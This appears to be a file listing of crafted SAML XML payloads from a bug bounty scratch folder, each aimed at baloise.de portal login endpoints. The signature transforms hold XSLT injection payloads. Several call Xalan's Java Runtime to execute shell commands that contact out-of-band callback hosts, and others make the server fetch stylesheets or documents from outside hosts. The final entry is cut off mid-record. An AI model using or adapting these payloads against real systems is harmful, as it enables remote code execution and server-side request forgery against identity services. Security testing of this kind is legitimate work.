work/scratch/saml-xsw/old-xslt/01a1c64b-2080-7271-a37b-7461ca0a9a5c.xml:2:<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:proc="http://xml.apache.org/xalan/java/java.lang.Process" ID="_a-e9e6f14c9d654462915d4c6162d86dc2" Version="2.0" IssueInstant="2026-11-10T16:29:32Z"><saml:Issuer>https://portal.easy-login.de/auth-portal</saml:Issuer><ds:Signature><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#_a-e9e6f14c9d654462915d4c6162d86dc2"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"><xsl:stylesheet version="1.0"><xsl:output method="text"/><xsl:template match="/"><xsl:variable name="runtime" select="rt:getRuntime()"/><xsl:variable name="process" select="rt:exec($runtime, 'getent hosts sxdirect1794328172--3bh.9b.au')"/><xsl:value-of select="proc:waitFor($process)"/></xsl:template></xsl:stylesheet></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>i36ZpDWmeZtD2o1M6sZpjbDDnx4ArNPbdxX4M8VsE9eP9xmsAcCeXL0a79KDXiYKGHuRPl4XWxikzvd7nK/Wn+ZFE1qEnMFIfX8VljrO7FzRW+RuIZViFEA4hW0sU/b3w23qPK5zuVWsn4VeZhPw6cUxvaUWXaTbnVR4AD/W7YEymXNcbBoxpUZKqysMqv6jKwiCT7ST6TbMRkDtRhJ0zjwZosy7MuuOru7XIY5SdWoAbvqD13AD4LsSwZ4hkz9HGtRkpx1N/uK7SqMY/yBFrJmTpJHCIh90Vz1uFNGguAMupWyXXFeD48V/EDxtiCvg6WGca1kITgiFBBXc6Z5/jQ==</ds:SignatureValue><ds:KeyInfo><ds:KeyValue><ds:RSAKeyValue><ds:Modulus>nL8nKt41i1p622vN4JvJ2wE/DFWNqEJWI3U1khjXBG9o7AYSDiGkZW+r4FoJ40vJbf4///qSP09vcXYEDtnvQno2SraTXgz3FM/XvrECj0jmyXdpzWrFjLr+VJcNCNWwhzSMztWOh8032PJoGkZCfx1xPqSQdYlrD4n0l8/cCKmj5jH4Ww2P7mExZ5kg5KUd/WWMoEkP7k196M5XiVNvTCyf4ZMfEYFvUe5EnOZ6s9f5P1S8Atp8uxPxTH/QIQQjOR1a/M8UEL9nHtTZ/3Ki4HkGXQd9qFyV8vi4mqgjm4od+eY1Ns8VKWqK5+gLTNRCBn4ZlXRwftyekdqVGEv4QQ==</ds:Modulus><ds:Exponent>AQAB</ds:Exponent></ds:RSAKeyValue></ds:KeyValue><ds:X509Data><ds:X509Certificate>MIIC3zCCAcegAwIBAgIUHMueGvOapcNAX78l+aWfFCsty+cwDQYJKoZIhvcNAQELBQAwHzEdMBsGA1UEAwwUYnVnYm91bnR5LWR3YnpuLXhzbHQwHhcNMjYxMTEwMTYyNDMyWhcNMjYxMTExMTYyOTMyWjAfMR0wGwYDVQQDDBRidWdib3VudHktZHdiem4teHNsdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJy/JyreNYtaettrzeCbydsBPwxVjahCViN1NZIY1wRvaOwGEg4hpGVvq+BaCeNLyW3+P//6kj9Pb3F2BA7Z70J6Nkq2k14M9xTP176xAo9I5sl3ac1qxYy6/lSXDQjVsIc0jM7VjofNN9jyaBpGQn8dcT6kkHWJaw+J9JfP3Aipo+Yx+FsNj+5hMWeZIOSlHf1ljKBJD+5NfejOV4lTb0wsn+GTHxGBb1HuRJzmerPX+T9UvALafLsT8Ux/0CEEIzkdWvzPFBC/Zx7U2f9youB5Bl0HfahclfL4uJqoI5uKHfnmNTbPFSlqiufoC0zUQgZ+GZV0cH7cnpHalRhL+EECAwEAAaMTMBEwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAmteNDr4hjDd1gb5yvgSRJy6Rmw8m0XfmD1nUWOLCMzvsSyi+wOEzIq9b888uzmWpxJkLp8QQczeGQNDwaHN5PAkk+B7+nSiywxZwzLI/upXHZ89TKSm3owKzoE+nXzWq6d3gH8tSUJNUgkOiWJcQtpS5zdSR5gKzwKyL0H1q1IzwN+oTE5mdZfrAGsoHrTsOpEo1OWsMOFWMMZtGCatzfyariGnPU88XybwLEab3vLOyHIKdy2Qeg5WyhO/y9Oh+PiOH2KCthmtRGD3/iGXCAnI7oU0G6M5TyJZCF6HWR50svoUzwRVkowwvqUEDpm5as2+LO8aXH5czkJGs7zNinw==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml:Subject><saml:NameID>bugbounty-dwbzn</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2026-11-10T16:39:32Z" Recipient="https://mein-portal.baloise.de/auth/rest/public/baloise/saml2/transform"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2026-11-10T16:27:32Z" NotOnOrAfter="2026-11-10T16:39:32Z"><saml:AudienceRestriction><saml:Audience>https://mein-portal.baloise.de</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AttributeStatement><saml:Attribute Name="UserToken"><saml:AttributeValue>bugbounty-user-token</saml:AttributeValue></saml:Attribute><saml:Attribute Name="SessionToken"><saml:AttributeValue>bugbounty-session-token</saml:AttributeValue></saml:Attribute><saml:Attribute Name="Identifier"><saml:AttributeValue>bugbounty-dwbzn</saml:AttributeValue></saml:Attribute></saml:AttributeStatement></saml:Assertion>
work/scratch/saml-xsw/old-xslt/01a1c57e-9c95-74b9-906e-52e7045c5011.xml:2:<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" ID="_r-cb44e2032e3044818fdc26afc2f115ba" Version="2.0" IssueInstant="2026-11-10T12:46:09Z" Destination="https://mein-portal.baloise.de/auth/rest/public/baloise/saml2/transform"><saml:Issuer>https://portal.easy-login.de/auth-portal</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion ID="_a-46e856c5a8484802aa9674a98fc4029f" Version="2.0" IssueInstant="2026-11-10T12:46:09Z"><saml:Issuer>https://portal.easy-login.de/auth-portal</saml:Issuer><ds:Signature><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#_a-46e856c5a8484802aa9674a98fc4029f"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"><xsl:stylesheet version="1.0"><xsl:output method="text"/><xsl:template match="/"><xsl:value-of select="document('http://sxslt1794314769--3bh.9b.au/x.xml')"/></xsl:template></xsl:stylesheet></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>Rj1Ktdakw3chaqeeS6d8MNk3vGk6k/E50MZCNAlOiXThkEOKnALUmBpKpG2Jfop8Fuj/nz85yIqKesAuKKmlObvno6QUSVlVFJ9bwsQLRcnoGOiKVT20mDSdQFANHc04NSgdzzkb8w45EDHWyx8SEi/bdDHbtEmbCMDn7EWdi0+/7whJuGvy3vI0fX59RBAbJ+3zn9dAcbhHUVKU0vH5jVW6LqzPiwPLVuOPkt36hcRLVS3VRX7jVQpPPxfYPBQQnP19HcZEbgWX8dKdzMk3iiZsTo9yA/b/PkgYjb+OztQ/3V+hWeTLLEbSfw1q4jWk8i+j1Dyy0bVz0M4N3roLug==</ds:SignatureValue><ds:KeyInfo><ds:KeyValue><ds:RSAKeyValue><ds:Modulus>qYaDR6twff4gNZlU5AZcwAsMniL8Bq/tQCYJVJF3Fo6nI5tpld728yCJUKa38egz9ozfTAEd7Wo9h4U09gzmjBOfYU5frXRmGLdi5r0c9TnfIs0yBw417yW5HUwI/U5GKuZvQGlDlslQNQ2vw+Z21JGKPl3tzgmG/S4BdrkSrL6BVVp+5OgURMNF0bPflxDPjNiXeHc15g6yqRgnd6NPX+SqXbP0sr2ytAUaYysRerGtHMxVbsw8DkfCAlgjnHItL3k79wDMTGCyB+kkxkZcOGPz4vgvLG0AV131oqHw2NTQTvK0jk+4zz03F+p9JP8GA/xUFdwPQW5TN8pWXqelJQ==</ds:Modulus><ds:Exponent>AQAB</ds:Exponent></ds:RSAKeyValue></ds:KeyValue><ds:X509Data><ds:X509Certificate>MIIC3zCCAcegAwIBAgIUXvEr4JxUv0eYUYHMvcIvQoD9H44wDQYJKoZIhvcNAQELBQAwHzEdMBsGA1UEAwwUYnVnYm91bnR5LWR3YnpuLXhzbHQwHhcNMjYxMTEwMTI0MTA5WhcNMjYxMTExMTI0NjA5WjAfMR0wGwYDVQQDDBRidWdib3VudHktZHdiem4teHNsdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKmGg0ercH3+IDWZVOQGXMALDJ4i/Aav7UAmCVSRdxaOpyObaZXe9vMgiVCmt/HoM/aM30wBHe1qPYeFNPYM5owTn2FOX610Zhi3Yua9HPU53yLNMgcONe8luR1MCP1ORirmb0BpQ5bJUDUNr8PmdtSRij5d7c4Jhv0uAXa5Eqy+gVVafuToFETDRdGz35cQz4zYl3h3NeYOsqkYJ3ejT1/kql2z9LK9srQFGmMrEXqxrRzMVW7MPA5HwgJYI5xyLS95O/cAzExgsgfpJMZGXDhj8+L4LyxtAFdd9aKh8NjU0E7ytI5PuM89NxfqfST/BgP8VBXcD0FuUzfKVl6npSUCAwEAAaMTMBEwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEApc+cZF1kEo/DGPb04WtwHIOIYPs8kMqyDjonDc6lnPTWgb1n7TNjg7lXOl3Z+OrnaNnlUsGRPr6QsvI0JKvIQ7pb2Yp2QbetP3Np0gqFFKPXGpTcBuIbWOZEhy4vgJ0G+cPf0UwdeflZrpyYqv5chS6FC7gMvDIGKvDtuva7Tk7mgo+nRZyBywW8Uf2a7wsINCA+qV3QA4df8kaEUIIOpm0M3wUY2GIvdjnTODNABcLHhYH8eVpqByhOGe27XoZ7nlddFexgDrbIFvW2zWKSQ8kxN3CL+nmbofLBo9kzkcI8rvKXdP0uehkcCiTvflX1GSIZM78UCCP4qmPZlv9lpw==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml:Subject><saml:NameID>bugbounty-dwbzn</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2026-11-10T12:56:09Z" Recipient="https://mein-portal.baloise.de/auth/rest/public/baloise/saml2/transform"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2026-11-10T12:44:09Z" NotOnOrAfter="2026-11-10T12:56:09Z"><saml:AudienceRestriction><saml:Audience>https://mein-portal.baloise.de</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AttributeStatement><saml:Attribute Name="UserToken"><saml:AttributeValue>bugbounty-user-token</saml:AttributeValue></saml:Attribute><saml:Attribute Name="SessionToken"><saml:AttributeValue>bugbounty-session-token</saml:AttributeValue></saml:Attribute><saml:Attribute Name="Identifier"><saml:AttributeValue>bugbounty-dwbzn</saml:AttributeValue></saml:Attribute></saml:AttributeStatement></saml:Assertion></samlp:Response>
work/scratch/saml-xsw/old-xslt/01a1da54-a3b8-739b-b511-ce4c302daf55.xml:4:<ds:Signature><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#_bugbounty"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"><xsl:stylesheet version="1.0"><xsl:template match="/"><xsl:copy-of select="document('https://samxslt135219--3nt.9b.au/xslt')"/></xsl:template></xsl:stylesheet></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>AA==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIIE9DCCA9ygAwIBAgISBtyO9zmuRyN+6cyQ7jTGq16VMA0GCSqGSIb3DQEBCwUAMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjEwHhcNMjYxMDAyMDUyODI1WhcNMjYxMjMxMDUyODI0WjAXMRUwEwYDVQQDEwxxNy0yYXAueDAuYXUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDawu4CUHxcyiZJX4T77abLEK7KBnpFius0m40Z+qUfp9fei7gcLPUJ/XkhbzzIIN19rOs6KOCzWDJyZr2tw1Y5SlmyReakHUtBgoItCZd2shMc0qT/f8NpSrx8SGHEzgHo6XjrB1Bo4Rw89GmWdK1jvsTHQL8vww9hm1Upsl1Fhhj3VAMISMmX1FASpHIv+1C0Bsv+t6viDqv7EQktztn0C4gmMAa/GmtQ6HA2NUK/rMo8908LV2YSlodF++rKr5vA61zPgbu9tTQ91t3sf7JNO6rFZ3jQ+v2Hq3hKQ2F2jQ6k43bHbV4ho3owtmqnr0TKDp5xGfuSFjgxU835t/n5AgMBAAGjggIcMIICGDAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUbauGpIuay085uiH7UAr8EIhURF8wHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55LFV4+vfUaPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIxLmkubGVuY3Iub3JnLzAXBgNVHREEEDAOggxxNy0yYXAueDAuYXUwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMS5jLmxlbmNyLm9yZy8yMi5jcmwwggEOBgorBgEEAdZ5AgQCBIH/BIH8APoAdwCUTkOH+uzB74HzGSQmqBhlAcfTXzgCAT9yZ31VNy4Z2AAAAaD7S1ybAAAEAwBIMEYCIQCAKPRmJBN4P/AnuV3dbnjjJig2/MP2rkoWu0bl3HHI4gIhAPTUrDKDyPmsv7Wqy+KdP2FUY/ZKm9bCsxQFs6Jq4b7UAH8AjspHC6zeavOiBrCkeoS3Rv4fxr+VPiXmm07kAkjzxugAAAGg+0te9QAIAAAFABoKcIoEAwBIMEYCIQCUq+rExrDp2D/fo0NpiHoLeGFdCYhbhpxLbI5S4jVgEAIhAKbx7FOTOU5Eb19OT7BZffjJOg4YzRF0Aa7lX7ROMNKRMA0GCSqGSIb3DQEBCwUAA4IBAQCfc7E0WBeeg3x4ofMFDkbBMMB2w7/gi3H4BmEYHcaVTV0tqI/m2YpQb8F+qXI2TZTxmphWxHvWkDZ8DFCgQ8V8jWYqSzu/tSMfPBb0GPq+JuouoFvba5V4cvbqRrbBN6ynqxQTEUAj+hb/qPyVV+OGTKwO+cO4XlgT/heMEpHY5rzNPCvf6ETffk3QKyrwgTfbUCksrJCVdrOluOLAojtVTBrdTdPMRilop484F1XgVzWIwbv/S3HN46hLGoSZrJ+EdIZwWzQWsVcPu7DpVHf3PDEinKUOVq3+4TpNTFyuetFeWZDvBGssArAYKVIXpn8bPMfVR1ivqSztu/VGNN8y</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature>
work/scratch/saml-xsw/old-xslt/01a1c48e-61ca-73ce-8d85-f0369bc2e34d.xml:2:<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" ID="_SecurityTest-bugbounty-dwbzn" Version="2.0" IssueInstant="2026-11-10T08:23:45Z" Destination="https://va.baloise.de/auth/rest/public/baloise/saml2/transform"><saml:Issuer>https://portal.easy-login.de/auth-portal</saml:Issuer><ds:Signature><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#_SecurityTest-bugbounty-dwbzn"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"><xsl:stylesheet version="1.0"><xsl:include href="https://vxs261110a--3at.9b.au/style.xsl"/></xsl:stylesheet></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>ucVEbzx332afhXWNIuu51S3EFsk9VmEy0FV9IInfKBDGeAP6BKNL5qsxnBrIZDCIHCE4mFtQw9QayHmJjnHlf230m+zHZZ/NYCEzR3F+dh+rQe5pcJcqFpLfr6nifFK/DG16Vp6B9QSCtrXGs1w7yX+DVyvrT6EmTP7deu+XTKn81h2jITrpATwFMUsDomnG+vLyV3sQsZDH68DLSeDSvaG/V36Kve1sElrepm8ZbSEBvkuIKblK16T6EjF0tCCMSVAHeJlwDkwT6BhTS/VuOCbDqS2sDT2JC3Y7va9vd3zobExrNO00YuDyI8E93QzPiXc4w31K3D9u4E5OUUdgfw==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIIC2jCCAcKgAwIBAgIUYJ6RBc7UhqdPXEpkBf/ptv53YYcwDQYJKoZIhvcNAQELBQAwJzElMCMGA1UEAwwcU2VjdXJpdHlUZXN0LWJ1Z2JvdW50eS1kd2J6bjAeFw0yNjExMTAwODIyNDVaFw0yNjExMTEwODIzNDVaMCcxJTAjBgNVBAMMHFNlY3VyaXR5VGVzdC1idWdib3VudHktZHdiem4wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDXWqSRxUPBIC53z3XIngkwmmK2HBtVkvpTE6iqLBaUfqsRXzxueNvuCs4JeI5T97Ft+4U5VBKqVJIATJDDVfjy8d2n0lsAxsik6H2g3x+8n+J0y7ThlJJzkBiqf+4E7gD0X0lpa0HU0NCyElH0QUagm2hTzpk8s0XyXJsEE0Rda7+1L14tkGZ9jPO7sLmUL2qvij430zstQro1TMDC37YamESmYFQY+ZM0vlmCQIpcSuKUadoAoXBjBzg2TH1v/0kmYO9xxYd6/22IcMey4qVzaeNclNthbp2ZbngZKt3TqiRtY6wLhE3CpZVxqelnkLPGHwiK+Com5hLa7CkqsGbdAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAF/m1avGmd+SOo4wkL+geQ2CT/0sZSL/Al7BMv4igyh86JK5VR14H8z6aF/Qw1dNgUsshx1taNj853qosDN0+tnymlj3No46RS+DfmKKwhUEIDyi4yo8905hrM6VzFY1KxQyboH6SMHyyI/z+co+3nogAznrHstzi/Fb/cKct0vQTSeGcvOEx85j8BygCqm4shsiaGcsHPBNQ7j67geFLe9WgqTQIQ2sJq8CrQkZIyks1ePPc4XgVgrR9Qt2S36pSlaNAuVpqi46tZlvqDqGcu4knAdSXh6bLaTNMydO0bHkhA3/vxsjxIPZ+EpsVdstOJtnqwwHqlBjR6HXWXPi2ZI=</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status></samlp:Response>
work/scratch/saml-xsw/old-xslt/01a1c57f-50c2-7204-a1a1-29fdb7e5b2f2.xml:2:<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:proc="http://xml.apache.org/xalan/java/java.lang.Process" ID="_r-1bf2f471e80045329cdd1c2aa41d0b5c" Version="2.0" IssueInstant="2026-11-10T12:46:55Z" Destination="https://mein-portal.baloise.de/auth/rest/public/baloise/saml2/transform"><saml:Issuer>https://portal.easy-login.de/auth-portal</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion ID="_a-d3658e7a73274769b57d97dc908ff5c0" Version="2.0" IssueInstant="2026-11-10T12:46:55Z"><saml:Issuer>https://portal.easy-login.de/auth-portal</saml:Issuer><ds:Signature><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#_a-d3658e7a73274769b57d97dc908ff5c0"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"><xsl:stylesheet version="1.0"><xsl:output method="text"/><xsl:template match="/"><xsl:variable name="runtime" select="rt:getRuntime()"/><xsl:variable name="process" select="rt:exec($runtime, 'getent hosts sxcmd1794314815--3bh.9b.au')"/><xsl:value-of select="proc:waitFor($process)"/></xsl:template></xsl:stylesheet></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>BoUXDb5UMfBZlbgJhpekp1lP6zLvp05QCqYHLmxo7kBT67RJ3pO/tqBouPhEfXdZN5NKcUYIwrhFashkf8Ot2HG7hOlCPEJXFqcPvbBw/DCMiLd15iXC7cW6frCYzHTtVVNMweMfsa4sgopLozwKaXoG+SaTU4rD6/h+O8zhITkl64r2XytzZpYTLdSbcu5rZgkHIPj7qIEq8Ml6C3crGBOS+zR8OGQFlHrE4BMofKl8aJRiYO1bj93hdVPXjF0DH7YmOMJiUuNiEhbAUMDGT7KQNHCLUCC7FR7uIoaHedcCMQRvNBSgi0oBqA40+30uhCA4PyswzJ/nDsJpL+I5uQ==</ds:SignatureValue><ds:KeyInfo><ds:KeyValue><ds:RSAKeyValue><ds:Modulus>uxIjqZRzHRNGDKsLlIm8nHgMIH5N/NliyOxA3VgjEu91+pRBkCE1mUUFxbh4sEEKJdSAGdk1HioHHXSuY4i/78p5cUdzye5EdeHe3I1PYxPFd+ONEg6vxvRrU5BpWSCBKB4sbPM6mafaHvCzddKKSdIi6IkBO7MgdZCgjl3lZCxWQ7ByLKZ4QmzA1m7XeuOaf5oaw0FTjgTfGtpCmlo0MZkRG5m5HWfOfwPS1YXQ4ygv66ugCBXm+qJ71CtD8DZDutK4xygZbBK9rf5am8v7Oe6B6nYLhqtcwNbn2B3mHRbjwCU9zTick0nx3b2Em/zd9FhzAaahiTih61wcRo0qxw==</ds:Modulus><ds:Exponent>AQAB</ds:Exponent></ds:RSAKeyValue></ds:KeyValue><ds:X509Data><ds:X509Certificate>MIIC3zCCAcegAwIBAgIUJjA+k+QIGu+mIM+xQBZ1rQOOyJkwDQYJKoZIhvcNAQELBQAwHzEdMBsGA1UEAwwUYnVnYm91bnR5LWR3YnpuLXhzbHQwHhcNMjYxMTEwMTI0MTU1WhcNMjYxMTExMTI0NjU1WjAfMR0wGwYDVQQDDBRidWdib3VudHktZHdiem4teHNsdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALsSI6mUcx0TRgyrC5SJvJx4DCB+TfzZYsjsQN1YIxLvdfqUQZAhNZlFBcW4eLBBCiXUgBnZNR4qBx10rmOIv+/KeXFHc8nuRHXh3tyNT2MTxXfjjRIOr8b0a1OQaVkggSgeLGzzOpmn2h7ws3XSiknSIuiJATuzIHWQoI5d5WQsVkOwciymeEJswNZu13rjmn+aGsNBU44E3xraQppaNDGZERuZuR1nzn8D0tWF0OMoL+uroAgV5vqie9QrQ/A2Q7rSuMcoGWwSva3+WpvL+znugep2C4arXMDW59gd5h0W48AlPc04nJNJ8d29hJv83fRYcwGmoYk4oetcHEaNKscCAwEAAaMTMBEwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAUZ32H+o1O47O9A5WvzKJ8tl9YI4hwmZlXym5NoJTxhUej5t5Lb9hrt468s8Hjv1mUs8DMOLRrcd9LgsHERca0lRpZS13NEf5oZzdufVbTgqmGxEG3GtdDG4Ta/DzNdhZn81DczOnVJ23PuAtbYXBgRz2SYR9ip9vSAgi6X5bGVVs9ApAheYyV1wxbeAtPQPLZYl1aeRPtJagMYzrGjZsy5IsK1HfPmSnTf4wqkXVCcHB93gJgQFKMuWVI51owBdSsWMi2anTyB1luqBd0WUEBPrqAY+ifIjJ2Y5KszFZeTVH7MRZ7U2QCAcGA8z7+sk0puGJmkyFK/FusKkC0Q+lNg==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml:Subject><saml:NameID>bugbounty-dwbzn</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2026-11-10T12:56:55Z" Recipient="https://mein-portal.baloise.de/auth/rest/public/baloise/saml2/transform"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2026-11-10T12:44:55Z" NotOnOrAfter="2026-11-10T12:56:55Z"><saml:AudienceRestriction><saml:Audience>https://mein-portal.baloise.de</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AttributeStatement><saml:Attribute Name="UserToken"><saml:AttributeValue>bugbounty-user-token</saml:AttributeValue></saml:Attribute><saml:Attribute Name="SessionToken"><saml:AttributeValue>bugbounty-session-token</saml:AttributeValue></saml:Attribute><saml:Attribute Name="Identifier"><saml:AttributeValue>bugbounty-dwbzn</saml:AttributeValue></saml:Attribute></saml:AttributeStatement></saml:Assertion></samlp:Response>
work/scratch/saml-xsw/old-xslt/01a1c487-062e-72be-b48c-146248d59717.xml:2:<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" ID="_bugbounty" Version="2.0" IssueInstant="2026-11-10T08:15:39Z"><saml:Issuer>easy-login</saml:Issuer><ds:Signature><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#_bugbounty"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"><xsl:stylesheet version="1.0"><xsl:template match="/"><xsl:copy-of select="document('https://ipxslt105041794298539--3at.9b.au/xslt-2')"/></xsl:template></xsl:stylesheet></ds:Transform><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>AA==</ds:SignatureValue></ds:Signature><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion ID="_a" Version="2.0" IssueInstant="2026-11-10T08:15:39Z"><saml:Issuer>easy-login</saml:Issuer><saml:Subject><saml:NameID>bugbounty-dwbzn</saml:NameID></saml:Subject></saml:Assertion></samlp:Response>
work/scratch/saml-xsw/old-xslt/01a1c4b3-ecad-744a-a2d9-f396fd40fc3f.xml:2:<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" ID="_SecurityTest-bugbounty-dwbzn" Version="2.0" IssueInstant="2026-11-10T09:04:46Z" Destination="https://infoportal.baloise.de/auth/rest/public/baloise/saml2/transform"><saml:Issuer>https://portal.easy-login.de/auth-portal</saml:Issuer><ds:Signature><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod 